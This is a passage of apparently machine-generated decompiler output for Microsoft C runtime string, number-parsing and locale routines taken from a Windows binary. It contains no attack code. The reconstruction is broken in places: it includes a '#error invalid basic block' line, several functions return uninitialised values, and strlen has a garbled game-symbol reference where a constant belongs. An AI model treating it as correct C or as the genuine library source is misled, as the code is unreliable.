{ if ( v8 != 2 ) return 2147483647; LOWORD(v2) = (unsigned __int8)szResult[0]; LOWORD(v8) = (unsigned __int8)szResult[1]; v2 = v8 + (v2 << 8); } ++s1; } else { v2 = 0; } } else { v9 = v5; v10 = (int)((char *)v3 + v5); if ( *(_BYTE *)(v10 + 29) & 0x10 ) LOWORD(v2) = *(_BYTE *)(v10 + 285); else v2 = v9; } v11 = (unsigned __int8)*s2; v12 = (unsigned __int8)*s2; v13 = s2++ + 1; if ( v3->mbctype[v12 + 1] & 4 ) { if ( *v13 ) { v14 = __crtLCMapStringA(v3->mblcid, 0x200u, v13 - 1, 2, szResult, 2, v3->mbcodepage, 1); if ( v14 == 1 ) { v11 = (unsigned __int8)szResult[0]; } else { if ( v14 != 2 ) return 2147483647; v11 = (unsigned __int8)szResult[1] + ((unsigned __int8)szResult[0] << 8); } ++s2; } else { v11 = 0; } } else { v15 = (int)((char *)v3 + v11); if ( *(_BYTE *)(v15 + 29) & 0x10 ) v11 = *(_BYTE *)(v15 + 285); } if ( v11 != (_WORD)v2 ) break; if ( !(_WORD)v2 ) return 0; } result = v11 < (unsigned __int16)v2 ? 1 : -1; } else { result = _stricmp(s1, s2); } return result; } //----- (0057A165) -------------------------------------------------------- int __cdecl _mbsnbcmp(const char *s1, const char *s2, unsigned int n) { threadmbcinfostruct *v3; // eax@1 int v4; // ebx@1 int result; // eax@2 const char *v6; // esi@7 const char *v7; // edi@7 unsigned __int16 v8; // dx@8 int v9; // ecx@10 const char v10; // cl@13 unsigned __int16 v11; // bx@15 int v12; // edx@16 const char v13; // dl@18 __int16 v14; // bx@20 unsigned __int16 c1; // [sp+4h] [bp-4h]@8 v3 = _getptd()->ptmbcinfo; v4 = 0; if ( !n ) return 0; if ( v3 != ___ptmbcinfo ) v3 = __updatetmbcinfo(); if ( !v3->ismbcodepage ) { strncmp((char *)s1, (char *)s2, n); return result; } v6 = s2; v7 = s1; while ( 1 ) { v8 = (unsigned __int8)*v7; --n; ++v7; c1 = v8; if ( !(v3->mbctype[(unsigned __int8)v8 + 1] & 4) ) goto LABEL_16; if ( n != v4 ) { v10 = *v7; if ( *v7 == (_BYTE)v4 ) { c1 = v4; } else { HIBYTE(v11) = v8; ++v7; LOBYTE(v11) = v10; c1 = v11; v4 = 0; } LABEL_16: LOWORD(v9) = (unsigned __int8)*v6; v12 = (unsigned __int8)*v6++; if ( v3->mbctype[v12 + 1] & 4 ) { if ( n != v4 && (v13 = *v6, --n, *v6 != (_BYTE)v4) ) { HIBYTE(v14) = v9; ++v6; LOBYTE(v14) = v13; LOWORD(v9) = v14; v4 = 0; } else { LOWORD(v9) = 0; } } goto test; } v9 = (unsigned __int8)*v6; c1 = v4; if ( v3->mbctype[v9 + 1] & 4 ) return 0; test: if ( (_WORD)v9 != c1 ) return (unsigned __int16)v9 < c1 ? 1 : -1; if ( c1 == (_WORD)v4 || n == v4 ) return 0; } } //----- (0057A23A) -------------------------------------------------------- long double __cdecl atof(const char *nptr) { int *i; // esi@1 int v2; // eax@4 _flt fltstruct; // [sp+4h] [bp-18h]@4 for ( i = (int *)nptr; isspace(*(_BYTE *)i); i = (int *)((char *)i + 1) ) ; v2 = strlen((const char *)i); return _fltin2(&fltstruct, (const char *)i, v2, 0, 0)->dval; } //----- (0057A272) -------------------------------------------------------- char *__cdecl _fullpath(char *UserBuf, const char *path, unsigned int maxlen) { const char *v3; // ebx@1 char *v4; // edi@3 unsigned int v5; // eax@7 char *result; // eax@11 unsigned int v7; // eax@15 v3 = path; if ( path && *path ) { v4 = UserBuf; if ( !UserBuf ) { v4 = (char *)malloc(0x104u); if ( !v4 ) { *_errno() = 12; return 0; } maxlen = 260; } v5 = GetFullPathNameA(v3, maxlen, v4, (LPSTR *)&path); if ( v5 >= maxlen ) { if ( !UserBuf ) free(v4); *_errno() = 34; return 0; } if ( v5 ) { result = v4; } else { if ( !UserBuf ) free(v4); v7 = GetLastError(); _dosmaperr(v7); result = 0; } } else { result = _getcwd(UserBuf, maxlen); } return result; } //----- (0057A31C) -------------------------------------------------------- char *__cdecl _mbsupr(char *string) { threadmbcinfostruct *v1; // edi@1 char *v2; // ebx@3 char *v3; // esi@3 int v4; // ecx@4 char v5; // dl@4 int v6; // eax@5 char v7; // ch@6 v1 = _getptd()->ptmbcinfo; if ( v1 != ___ptmbcinfo ) v1 = __updatetmbcinfo(); v2 = string; v3 = string; if ( !*string ) return v2; while ( 1 ) { v4 = (unsigned __int8)*v3; v5 = v1->mbctype[v4 + 1]; if ( !(v5 & 4) ) { if ( v5 & 0x20 ) LOBYTE(v4) = v1->mbcasemap[v4]; *v3 = v4; goto LABEL_11; } v6 = __crtLCMapStringA(v1->mblcid, 0x200u, v3, 2, (char *)&string, 2, v1->mbcodepage, 1); if ( !v6 ) return 0; v7 = BYTE1(string); *v3 = (char)string; if ( v6 > 1 ) { ++v3; *v3 = v7; } LABEL_11: ++v3; if ( !*v3 ) return v2; } } //----- (0057A3B0) -------------------------------------------------------- void __cdecl strrchr(char *string, char chr) { char *v2; // edi@1 signed int v3; // ecx@1 bool v4; // zf@3 int v5; // ecx@4 int v6; // edi@4 v2 = string; v3 = -1; do { if ( !v3 ) break; v4 = *v2++ == 0; --v3; } while ( !v4 ); v5 = -(v3 + 1); v6 = (int)(v2 - 1); do { if ( !v5 ) break; v4 = *(_BYTE *)v6++ == chr; --v5; } while ( !v4 ); } //----- (0057A3DD) -------------------------------------------------------- char *__cdecl _strdup(const char *string) { size_t v1; // eax@2 void *v2; // eax@2 char *result; // eax@3 if ( string && (v1 = strlen(string), (v2 = malloc(v1 + 1)) != 0) ) result = strcpy((char *)v2, string); else result = 0; return result; } //----- (0057A408) -------------------------------------------------------- char *__cdecl __mbspbrk_mt(threadmbcinfostruct *ptmbci, const char *string, const char *charset) { char *result; // eax@2 const char *i; // ecx@3 const char *j; // eax@4 const char v6; // dl@5 if ( ptmbci->ismbcodepage ) { for ( i = string; *i; ++i ) { for ( j = charset; *j; ++j ) { v6 = *j; if ( ptmbci->mbctype[(unsigned __int8)*j + 1] & 4 ) { if ( v6 == *i && j[1] == i[1] || !j[1] ) break; ++j; } else { if ( v6 == *i ) break; } } if ( !*j ) { if ( !(ptmbci->mbctype[(unsigned __int8)*i + 1] & 4) ) continue; ++i; if ( *i ) continue; } break; } result = (char *)(*i != 0 ? (int)i : 0); } else { strpbrk((char *)string, (char *)charset); } return result; } //----- (0057A484) -------------------------------------------------------- char *__cdecl _mbspbrk(const char *string, const char *charset) { void *v2; // eax@1 v2 = _getptd()->ptmbcinfo; if ( v2 != ___ptmbcinfo ) v2 = __updatetmbcinfo(); return __mbspbrk_mt((threadmbcinfostruct *)v2, string, charset); } //----- (0057A4AB) -------------------------------------------------------- char *__cdecl _mbschr(const char *string, unsigned int c) { threadmbcinfostruct *v2; // eax@1 const char *i; // ecx@5 unsigned __int16 v5; // dx@12 v2 = _getptd()->ptmbcinfo; if ( v2 != ___ptmbcinfo ) v2 = __updatetmbcinfo(); if ( !v2->ismbcodepage ) return strchr(string, c); for ( i = string; ; ++i ) { v5 = (unsigned __int8)*i; if ( !*i ) return (char *)(c == *i ? (int)i : 0); if ( v2->mbctype[(unsigned __int8)v5 + 1] & 4 ) break; if ( c == *i ) return (char *)(c == *i ? (int)i : 0); LABEL_11: ; } ++i; if ( *i ) { if ( c == ((unsigned __int8)*i | (v5 << 8)) ) return (char *)(i - 1); goto LABEL_11; } return 0; } //----- (0057A526) -------------------------------------------------------- char *__cdecl _mbsnbcpy(char *dst, const char *src, unsigned int cnt) { char *v3; // edi@1 threadmbcinfostruct *v4; // eax@1 unsigned int v6; // ecx@5 const char *v7; // esi@6 const char v8; // dl@7 bool v9; // zf@7 int v10; // edi@8 int v11; // esi@8 char v12; // dl@9 char v13; // dl@12 unsigned int v14; // ecx@12 int v15; // edi@12 int i; // ecx@12 v3 = dst; v4 = _getptd()->ptmbcinfo; if ( v4 != ___ptmbcinfo ) v4 = __updatetmbcinfo(); if ( !v4->ismbcodepage ) return strncpy(dst, src, cnt); v6 = cnt; if ( !cnt ) return dst; v7 = src; while ( 1 ) { v8 = *v7; --v6; v9 = (v4->mbctype[(unsigned __int8)*v7 + 1] & 4) == 0; *v3 = *v7; if ( !v9 ) break; ++v3; ++v7; if ( !v8 ) goto LABEL_11; LABEL_18: if ( !v6 ) return dst; } v10 = (int)(v3 + 1); v11 = (int)(v7 + 1); if ( !v6 ) { *(_BYTE *)(v10 - 1) = 0; return dst; } v12 = *(_BYTE *)v11; --v6; *(_BYTE *)v10 = *(_BYTE *)v11; v3 = (char *)(v10 + 1); v7 = (const char *)(v11 + 1); if ( v12 ) goto LABEL_18; *(v3 - 2) = 0; LABEL_11: if ( v6 ) { v13 = v6; v14 = v6 >> 2; memset(v3, 0, 4 * v14); v15 = (int)&v3[4 * v14]; for ( i = v13 & 3; i; --i ) *(_BYTE *)v15++ = 0; } return dst; } //----- (0057A5B9) -------------------------------------------------------- int __cdecl _ftell_lk(_iobuf *str) { _iobuf *v1; // edi@1 signed int v2; // esi@1 int v3; // eax@3 int v4; // ecx@4 int result; // eax@5 char *v6; // eax@6 char *v7; // edx@6 char *v8; // ecx@8 int v9; // ecx@18 int v10; // ebx@20 int v11; // esi@20 char *v12; // eax@22 int v13; // ecx@22 bool v14; // zf@27 signed int v15; // eax@28 int v16; // ecx@29 int fd; // [sp+Ch] [bp-Ch]@1 int offset; // [sp+10h] [bp-8h]@6 int filepos; // [sp+14h] [bp-4h]@3 int rdcnt; // [sp+20h] [bp+8h]@20 v1 = str; v2 = str->_file; fd = str->_file; if ( str->_cnt < 0 ) str->_cnt = 0; v3 = _lseek(v2, 0, 1); filepos = v3; if ( v3 < 0 ) return -1; v4 = str->_flag; if ( !(v4 & 0x108) ) return v3 - str->_cnt; v6 = str->_ptr; v7 = str->_base; offset = str->_ptr - v7; if ( v4 & 3 ) { if ( *(_BYTE *)(__pioinfo[v2 >> 5] + 36 * (v2 & 0x1F) + 4) & 0x80 ) { v8 = str->_base; if ( v7 < v6 ) { do { if ( *v8 == 10 ) ++offset; ++v8; } while ( v8 < str->_ptr ); } } goto LABEL_12; } if ( (char)v4 >= 0 ) { *_errno() = 22; return -1; } LABEL_12: if ( filepos ) { if ( str->_flag & 1 ) { v9 = str->_cnt; if ( v9 ) { rdcnt = v9 + v6 - v7; v10 = 4 * (v2 >> 5) + 342689216; v11 = 36 * (v2 & 0x1F); if ( *(_BYTE *)(v11 + *(_DWORD *)v10 + 4) & 0x80 ) { if ( _lseek(fd, 0, 2) == filepos ) { v12 = v1->_base; v13 = (int)&v12[rdcnt]; while ( (unsigned int)v12 < v13 ) { if ( *v12 == 10 ) ++rdcnt; ++v12; } v14 = (BYTE1(v1->_flag) & 0x20) == 0; } else { _lseek(fd, filepos, 0); v15 = 512; if ( (unsigned int)rdcnt > 0x200 || (v16 = v1->_flag, !(v16 & 8)) || BYTE1(v16) & 4 ) v15 = v1->_bufsiz; rdcnt = v15; v14 = (*(_BYTE *)(v11 + *(_DWORD *)v10 + 4) & 4) == 0; } if ( !v14 ) ++rdcnt; } filepos -= rdcnt; } else { offset = 0; } } result = filepos + offset; } else { result = offset; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0057A71B) -------------------------------------------------------- int __cdecl ftell(_iobuf *stream) { int result; // eax@1 _lock_file(stream); _ftell_lk(stream); _unlock_file(stream); return result; } //----- (0057A75C) -------------------------------------------------------- char *__cdecl strtok(char *string, const char *control) { const char *v2; // esi@1 const char v3; // dl@2 char *v4; // edx@3 char *v5; // ebx@8 _tiddata *ptd; // [sp+Ch] [bp-28h]@1 char map[32]; // [sp+10h] [bp-24h]@1 v2 = control; ptd = _getptd(); memset(map, 0, sizeof(map)); do { v3 = *v2; map[(unsigned int)(unsigned __int8)*v2 >> 3] |= 1 << (*v2 & 7); ++v2; } while ( v3 ); v4 = string; if ( !string ) v4 = ptd->_token; while ( (unsigned __int8)(1 << (*v4 & 7)) & (unsigned __int8)map[(unsigned int)(unsigned __int8)*v4 >> 3] && *v4 ) ++v4; v5 = v4; while ( *v4 ) { if ( (unsigned __int8)(1 << (*v4 & 7)) & (unsigned __int8)map[(unsigned int)(unsigned __int8)*v4 >> 3] ) { *v4++ = 0; break; } ++v4; } ptd->_token = v4; return (char *)(v5 != v4 ? (int)v5 : 0); } //----- (0057A811) -------------------------------------------------------- int __cdecl __tolower_mt(threadlocaleinfostruct *ptloci, int c) { int v2; // ebx@1 threadlocaleinfostruct *v3; // esi@1 int v4; // eax@6 int v5; // eax@9 int v6; // eax@10 int v7; // eax@12 int result; // eax@14 int v9; // eax@15 char outbuffer[3]; // [sp+Ch] [bp-4h]@12 v2 = c; v3 = ptloci; if ( ptloci->lc_handle[2] && (!ptloci->lc_clike || (unsigned int)c > 0x7F) ) { if ( (unsigned int)c >= 0x100 || (ptloci->mb_cur_max <= 1 ? (v4 = ptloci->pctype[c] & 1) : (v4 = __isctype_mt(ptloci, c, 1)), v4) ) { v5 = v2 >> 8; if ( HIBYTE(v3->pctype[BYTE1(v2)]) & 0x80 ) { LOBYTE(ptloci) = v5; *(_WORD *)((char *)&ptloci + 1) = (unsigned __int8)v2; v6 = 2; } else { LOWORD(ptloci) = (unsigned __int8)v2; v6 = 1; } v7 = __crtLCMapStringA(v3->lc_handle[2], 0x100u, (const char *)&ptloci, v6, outbuffer, 3, v3->lc_codepage, 1); if ( v7 ) { if ( v7 == 1 ) { result = (unsigned __int8)outbuffer[0]; } else { v9 = 0; BYTE1(v9) = outbuffer[0]; result = (unsigned __int8)outbuffer[1] | v9; } return result; } } return v2; } if ( c < 65 || (result = c + 32, c > 90) ) return v2; return result; } //----- (0057A8D9) -------------------------------------------------------- int __cdecl tolower(int c) { threadlocaleinfostruct *v1; // eax@1 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); return __tolower_mt(v1, c); } //----- (0057A8FB) -------------------------------------------------------- int __cdecl _ismbcdigit(unsigned int c) { threadmbcinfostruct *v1; // eax@2 int result; // eax@5 __int16 ctype[2]; // [sp+4h] [bp-4h]@2 if ( c <= 0xFF ) { result = isdigit(c); } else { ctype[0] = 0; ctype[1] = 0; v1 = _getptd()->ptmbcinfo; if ( v1 != ___ptmbcinfo ) v1 = __updatetmbcinfo(); BYTE2(c) = BYTE1(c); BYTE3(c) = c; result = v1->ismbcodepage && __crtGetStringTypeA(1u, (const char *)&c + 2, 2, (unsigned __int16 *)ctype, v1->mbcodepage, v1->mblcid, 1) && !ctype[1] && ctype[0] & 4; } return result; } //----- (0057A97F) -------------------------------------------------------- unsigned int __cdecl strtoxl(const char *nptr, const char **endptr, int ibase, int flags) { threadlocaleinfostruct *v4; // esi@1 const char *v5; // ecx@3 const char v6; // bl@3 int i; // edi@3 int v8; // eax@5 int v9; // edi@27 unsigned int v10; // eax@28 const unsigned __int16 v11; // cx@29 unsigned int v12; // ecx@30 int v13; // ecx@34 const char *v14; // edi@44 unsigned int number; // [sp+Ch] [bp-4h]@3 v4 = _getptd()->ptlocinfo; if ( v4 != ___ptlocinfo ) v4 = __updatetlocinfo(); v5 = nptr; number = 0; v6 = *nptr; for ( i = (int)(nptr + 1); ; ++i ) { if ( v4->mb_cur_max <= 1 ) { v8 = v4->pctype[(unsigned __int8)v6] & 8; } else { v8 = __isctype_mt(v4, (unsigned __int8)v6, 8); v5 = nptr; } if ( !v8 ) break; v6 = *(_BYTE *)i; } if ( v6 == 45 ) { flags |= 2u; LABEL_12: v6 = *(_BYTE *)i++; goto LABEL_13; } if ( v6 == 43 ) goto LABEL_12; LABEL_13: if ( ibase < 0 || ibase == 1 || ibase > 36 ) { if ( endptr ) *endptr = v5; return 0; } if ( !ibase ) { if ( v6 != 48 ) { ibase = 10; goto LABEL_28; } if ( *(_BYTE *)i != 120 && *(_BYTE *)i != 88 ) { ibase = 8; goto LABEL_28; } ibase = 16; } if ( ibase == 16 && v6 == 48 && (*(_BYTE *)i == 120 || *(_BYTE *)i == 88) ) { v9 = i + 1; v6 = *(_BYTE *)v9; i = v9 + 1; } LABEL_28: v10 = 0xFFFFFFFFu / ibase; while ( 1 ) { v11 = _pctype[(unsigned __int8)v6]; if ( v11 & 4 ) { v12 = v6 - 48; } else { if ( !(v11 & 0x103) ) break; v13 = v6 < 97 || v6 > 122 ? v6 : (signed int)v6 - 32; v12 = v13 - 55; } if ( v12 >= ibase ) break; flags |= 8u; if ( number < v10 || number == v10 && v12 <= 0xFFFFFFFFu % ibase ) number = v12 + ibase * number; else flags |= 4u; v6 = *(_BYTE *)i++; } v14 = (const char *)(i - 1); if ( flags & 8 ) { if ( flags & 4 || !(flags & 1) && (flags & 2 && number > 0x80000000 || !(flags & 2) && number > 0x7FFFFFFF) ) { *_errno() = 34; if ( flags & 1 ) number = -1; else number = ((flags & 2) != 0) + 2147483647; } } else { if ( endptr ) v14 = nptr; number = 0; } if ( endptr ) *endptr = v14; if ( flags & 2 ) number = -number; return number; } //----- (0057AB3E) -------------------------------------------------------- int __cdecl strtol(const char *nptr, char **endptr, int ibase) { return strtoxl(nptr, (const char **)endptr, ibase, 0); } //----- (0057AB55) -------------------------------------------------------- unsigned int __cdecl strtoul(const char *nptr, char **endptr, int ibase) { return strtoxl(nptr, (const char **)endptr, ibase, 1); } //----- (0057AB6C) -------------------------------------------------------- int *__cdecl _errno() { return &_getptd()->_terrno; } //----- (0057AB75) -------------------------------------------------------- unsigned int *__cdecl __doserrno() { return &_getptd()->_tdoserrno; } //----- (0057AB7E) -------------------------------------------------------- void __cdecl _dosmaperr(unsigned int oserrno) { unsigned int v1; // esi@1 _getptd()->_tdoserrno = oserrno; v1 = 0; do { if ( oserrno == errtable[v1].oscode ) { _getptd()->_terrno = dword_610DB4[2 * v1]; return; } ++v1; } while ( v1 < 0x2D ); if ( oserrno < 0x13 || oserrno > 0x24 ) { if ( oserrno < 0xBC || oserrno > 0xCA ) _getptd()->_terrno = 22; else _getptd()->_terrno = 8; } else { _getptd()->_terrno = 13; } } //----- (0057ABF1) -------------------------------------------------------- unsigned __int64 __cdecl strtoxq(const char *nptr, const char **endptr, int ibase, int flags) { threadlocaleinfostruct *v4; // esi@1 int v5; // eax@3 const char *i; // edi@3 int v7; // eax@5 unsigned __int8 v8; // al@12 int v9; // edi@27 unsigned __int64 v10; // kr00_8@28 int v11; // esi@30 unsigned __int8 v12; // al@39 unsigned __int64 number; // [sp+24h] [bp-10h]@3 int p; // [sp+2Ch] [bp-8h]@9 const char *pa; // [sp+2Ch] [bp-8h]@40 unsigned __int8 c; // [sp+33h] [bp-1h]@4 v4 = _getptd()->ptlocinfo; if ( v4 != ___ptlocinfo ) v4 = __updatetlocinfo(); number = 0i64; LOBYTE(v5) = *nptr; for ( i = nptr + 1; ; ++i ) { c = v5; v5 = (unsigned __int8)v5; v7 = v4->mb_cur_max <= 1 ? v4->pctype[v5] & 8 : __isctype_mt(v4, v5, 8); if ( !v7 ) break; LOBYTE(v5) = *i; } p = (int)i; if ( c == 45 ) { flags |= 2u; LABEL_12: v8 = *i++; c = v8; p = (int)i; goto LABEL_13; } if ( c == 43 ) goto LABEL_12; LABEL_13: if ( ibase < 0 || ibase == 1 || ibase > 36 ) { if ( endptr ) *endptr = nptr; return 0i64; } if ( !ibase ) { if ( c != 48 ) { ibase = 10; goto LABEL_28; } if ( *i != 120 && *i != 88 ) { ibase = 8; goto LABEL_28; } ibase = 16; } if ( ibase == 16 && c == 48 && (*i == 120 || *i == 88) ) { v9 = (int)(i + 1); c = *(_BYTE *)v9; p = v9 + 1; } LABEL_28: v10 = 0xFFFFFFFFFFFFFFFFui64 / ibase; while ( 1 ) { if ( isdigit(c) ) { v11 = (char)c - 48; } else { if ( !isalpha(c) ) break; v11 = toupper((char)c) - 55; } if ( v11 >= (unsigned int)ibase ) break; flags |= 8u; if ( number < v10 || number == v10 && (unsigned int)v11 <= 0xFFFFFFFFFFFFFFFFui64 % ibase ) number = (unsigned int)v11 + ibase * number; else flags |= 4u; v12 = *(_BYTE *)p++; c = v12; } pa = (const char *)(p - 1); if ( flags & 8 ) { if ( flags & 4 || !(flags & 1) && (flags & 2 && (HIDWORD(number) > 0x80000000 || HIDWORD(number) >= 0x80000000 && (_DWORD)number) || !(flags & 2) && number > 0x7FFFFFFFFFFFFFFFi64) ) { *_errno() = 34; if ( flags & 1 ) { number = -1i64; } else { if ( flags & 2 ) number = -9223372036854775808i64; else number = 9223372036854775807i64; } } } else { if ( endptr ) pa = nptr; number = 0i64; } if ( endptr ) *endptr = pa; if ( flags & 2 ) number = -(signed __int64)number; return number; } //----- (0057AE51) -------------------------------------------------------- __int64 __cdecl _strtoi64(const char *nptr, char **endptr, int ibase) { return strtoxq(nptr, (const char **)endptr, ibase, 0); } //----- (0057AE68) -------------------------------------------------------- unsigned __int64 __cdecl _strtoui64(const char *nptr, char **endptr, int ibase) { return strtoxq(nptr, (const char **)endptr, ibase, 1); } //----- (0057AE7F) -------------------------------------------------------- int __cdecl _callnewh(unsigned int size) { return _pnhHeap && _pnhHeap(size); } // 146D0100: using guessed type int (__cdecl *_pnhHeap)(unsigned int); //----- (0057AEA0) -------------------------------------------------------- size_t __cdecl strlen(const char *Str) { const char *v1; // ecx@1 char v2; // al@2 int v3; // eax@4 int v4; // eax@5 v1 = Str; if ( !((unsigned __int8)Str & 3) ) goto main_loop_1; do { v2 = *v1++; if ( !v2 ) return v1 - 1 - Str; } while ( (unsigned __int8)v1 & 3 ); while ( 1 ) { do { main_loop_1: v3 = (*(_DWORD *)v1 + 2130640639) ^ ~*(_DWORD *)v1; v1 += 4; } while ( !(v3 & 0x81010100) ); v4 = *((_DWORD *)v1 - 1); if ( !(_BYTE)v4 ) break; if ( !BYTE1(v4) ) return v1 - 3 - Str; if ( !((unsigned int)&wholesaver.ws_savestore[103].esc_skill.buffer[14116] & v4) ) return v1 - 2 - Str; if ( !(v4 & 0xFF000000) ) return v1 - 1 - Str; } return v1 - 4 - Str; } //----- (0057AF30) -------------------------------------------------------- #error "57B08C: invalid basic block (funcsize=131)" //----- (0057B28F) -------------------------------------------------------- int __cdecl __crtLCMapStringA(unsigned int Locale, unsigned int dwMapFlags, const char *lpSrcStr, int cchSrc, char *lpDestStr, int cchDest, int code_page, int bError) { int v8; // ecx@7 const char *v9; // eax@7 int v10; // edi@15 int v11; // esi@17 void *v12; // esp@18 int v13; // eax@22 void *v14; // esp@27 char *v16; // edi@40 int v17; // eax@44 void *v18; // eax@47 int v19; // eax@48 void *v20; // esp@49 void *v21; // eax@50 int v22; // esi@53 char *v23; // [sp-10h] [bp-64h]@32 int v24; // [sp-Ch] [bp-60h]@32 int v25; // [sp+0h] [bp-54h]@18 int ret; // [sp+Ch] [bp-48h]@55 int *cbuffer1; // [sp+10h] [bp-44h]@49 int AnsiCP; // [sp+14h] [bp-40h]@44 int malloc_flag1; // [sp+18h] [bp-3Ch]@40 int v30; // [sp+1Ch] [bp-38h]@15 int malloc_flag2; // [sp+20h] [bp-34h]@15 int inbuff_size; // [sp+24h] [bp-30h]@17 int retval; // [sp+28h] [bp-2Ch]@15 const char *cbuffer; // [sp+2Ch] [bp-28h]@40 int buff_size; // [sp+30h] [bp-24h]@48 void *outwbuffer; // [sp+34h] [bp-20h]@27 void *inwbuffer; // [sp+38h] [bp-1Ch]@18 CPPEH_RECORD ms_exc; // [sp+3Ch] [bp-18h]@18 if ( !f_use ) { if ( LCMapStringW(0, 0x100u, &String1, 1, 0, 0) ) { f_use = 1; } else { if ( GetLastError() == 120 ) f_use = 2; } } if ( cchSrc > 0 ) { v8 = cchSrc; v9 = lpSrcStr; while ( 1 ) { --v8; if ( !*v9 ) break; ++v9; if ( !v8 ) { v8 = -1; break; } } cchSrc += -1 - v8; } if ( f_use != 2 && f_use ) { if ( f_use == 1 ) { v10 = 0; retval = 0; v30 = 0; malloc_flag2 = 0; if ( !code_page ) code_page = __lc_codepage; v11 = MultiByteToWideChar(code_page, 8 * (bError != 0) + 1, lpSrcStr, cchSrc, 0, 0); inbuff_size = v11; if ( v11 ) { v12 = alloca(2 * v11); ms_exc.old_esp = (DWORD)&v25; inwbuffer = &v25; ms_exc.disabled = -1; if ( &v25 ) { LABEL_21: if ( MultiByteToWideChar(code_page, 1u, lpSrcStr, cchSrc, (LPWSTR)inwbuffer, v11) ) { v13 = LCMapStringW(Locale, dwMapFlags, (LPCWSTR)inwbuffer, v11, 0, 0); v10 = v13; retval = v13; if ( v13 ) { if ( BYTE1(dwMapFlags) & 4 ) { if ( cchDest && v13 <= cchDest ) LCMapStringW(Locale, dwMapFlags, (LPCWSTR)inwbuffer, v11, (LPWSTR)lpDestStr, cchDest); goto error_cleanup; } v14 = alloca(2 * v13); ms_exc.old_esp = (DWORD)&v25; outwbuffer = &v25; ms_exc.disabled = -1; if ( &v25 ) { LABEL_30: if ( LCMapStringW(Locale, dwMapFlags, (LPCWSTR)inwbuffer, v11, (LPWSTR)outwbuffer, v10) ) { if ( cchDest ) { v24 = cchDest; v23 = lpDestStr; } else { v24 = 0; v23 = 0; } v10 = WideCharToMultiByte(code_page, 0, (LPCWSTR)outwbuffer, v10, v23, v24, 0, 0); } goto error_cleanup; } outwbuffer = malloc(2 * v13); if ( outwbuffer ) { malloc_flag2 = 1; goto LABEL_30; } } } error_cleanup: if ( malloc_flag2 ) free(outwbuffer); if ( v30 ) free(inwbuffer); return v10; } inwbuffer = malloc(2 * v11); if ( inwbuffer ) { v30 = 1; goto LABEL_21; } } } return 0; } cbuffer = 0; v16 = 0; malloc_flag1 = 0; if ( !Locale ) Locale = lcid; if ( !code_page ) code_page = __lc_codepage; v17 = __ansicp(Locale); AnsiCP = v17; if ( v17 == -1 ) return 0; if ( v17 != code_page ) { v18 = __convertcp(code_page, v17, lpSrcStr, &cchSrc, 0, 0); cbuffer = (const char *)v18; if ( !v18 ) return 0; v19 = LCMapStringA(Locale, dwMapFlags, (LPCSTR)v18, cchSrc, 0, 0); buff_size = v19; if ( v19 ) { ms_exc.disabled = 0; v20 = alloca(v19); ms_exc.old_esp = (DWORD)&v25; v16 = (char *)&v25; cbuffer1 = &v25; memset(&v25, 0, v19); ms_exc.disabled = -1; if ( !&v25 ) { v21 = malloc(buff_size); v16 = (char *)v21; if ( !v21 ) { LABEL_53: v22 = 0; goto cleanupA; } memset(v21, 0, buff_size); malloc_flag1 = 1; } buff_size = LCMapStringA(Locale, dwMapFlags, cbuffer, cchSrc, v16, buff_size); if ( !buff_size ) goto LABEL_53; v22 = __convertcp(AnsiCP, code_page, v16, &buff_size, lpDestStr, cchDest) != 0; } else { v22 = ret; } cleanupA: if ( malloc_flag1 ) free(v16); goto LABEL_59; } v22 = LCMapStringA(Locale, dwMapFlags, lpSrcStr, cchSrc, lpDestStr, cchDest); LABEL_59: if ( cbuffer ) free((void *)cbuffer); return v22; } //----- (0057B64B) -------------------------------------------------------- const unsigned __int16 *__cdecl __pctype_func() { return _pctype; } //----- (0057B651) -------------------------------------------------------- int __cdecl __init_ctype() { void *v0; // eax@4 void *v1; // ebx@4 void *v2; // esi@4 void *v3; // eax@4 signed int v4; // eax@7 char *v5; // eax@13 int v6; // edx@14 int v7; // ecx@15 const unsigned __int16 *v8; // ebx@19 char *v9; // eax@22 signed int v10; // ecx@24 int v11; // edx@25 int v12; // esi@29 void *newctype1; // [sp+10h] [bp-24h]@0 void *refcount; // [sp+14h] [bp-20h]@0 const char *cbuffer; // [sp+18h] [bp-1Ch]@1 _cpinfo lpCPInfo; // [sp+1Ch] [bp-18h]@9 cbuffer = 0; if ( lcid ) { if ( !__lc_codepage && __getlocaleinfo(0, (unsigned __int16)word_146D052C, 0x1004u, &__lc_codepage) ) { v2 = newctype1; } else { v0 = malloc(4u); v1 = v0; refcount = v0; v2 = malloc(0x300u); v3 = malloc(0x101u); cbuffer = (const char *)v3; if ( v1 ) { if ( v2 ) { if ( v3 ) { *(_DWORD *)v1 = 0; v4 = 0; do { cbuffer[v4] = v4; ++v4; } while ( v4 < 256 ); if ( GetCPInfo(__lc_codepage, &lpCPInfo) && lpCPInfo.MaxCharSize <= 5 ) { __mb_cur_max = (unsigned __int16)lpCPInfo.MaxCharSize; if ( (signed int)(unsigned __int16)lpCPInfo.MaxCharSize > 1 && lpCPInfo.LeadByte[0] ) { v5 = &lpCPInfo.LeadByte[1]; do { LOBYTE(v6) = *v5; if ( !*v5 ) break; v7 = (unsigned __int8)*(v5 - 1); v6 = (unsigned __int8)v6; while ( v7 <= v6 ) { cbuffer[v7] = 0; v6 = (unsigned __int8)*v5; ++v7; } v5 += 2; } while ( *(v5 - 1) ); } v8 = (const unsigned __int16 *)((char *)v2 + 256); if ( __crtGetStringTypeA(1u, cbuffer, 256, (unsigned __int16 *)v2 + 128, 0, 0, 0) ) { *((_WORD *)v2 + 127) = 0; if ( __mb_cur_max > 1 && lpCPInfo.LeadByte[0] ) { v9 = &lpCPInfo.LeadByte[1]; do { if ( !*v9 ) break; v10 = (unsigned __int8)*(v9 - 1); if ( v10 <= (unsigned __int8)*v9 ) { v11 = (int)((char *)v2 + 2 * v10 + 256); do { *(_WORD *)v11 = -32768; ++v10; v11 += 2; } while ( v10 <= (unsigned __int8)*v9 ); v8 = (const unsigned __int16 *)((char *)v2 + 256); } v9 += 2; } while ( *(v9 - 1) ); } memcpy((char *)v2, (char *)v2 + 512, 0xFEu); _pctype = v8; __ctype1_refcount = (int)refcount; __ctype1 = (int)((char *)v2 + 254); v12 = 0; goto LABEL_30; } } } } } } free(refcount); free(v2); v12 = 1; LABEL_30: free((void *)cbuffer); return v12; } _pctype = L" ((((( H"; __ctype1_refcount = 0; __ctype1 = 0; return 0; } // 5E8BB0: using guessed type wchar_t 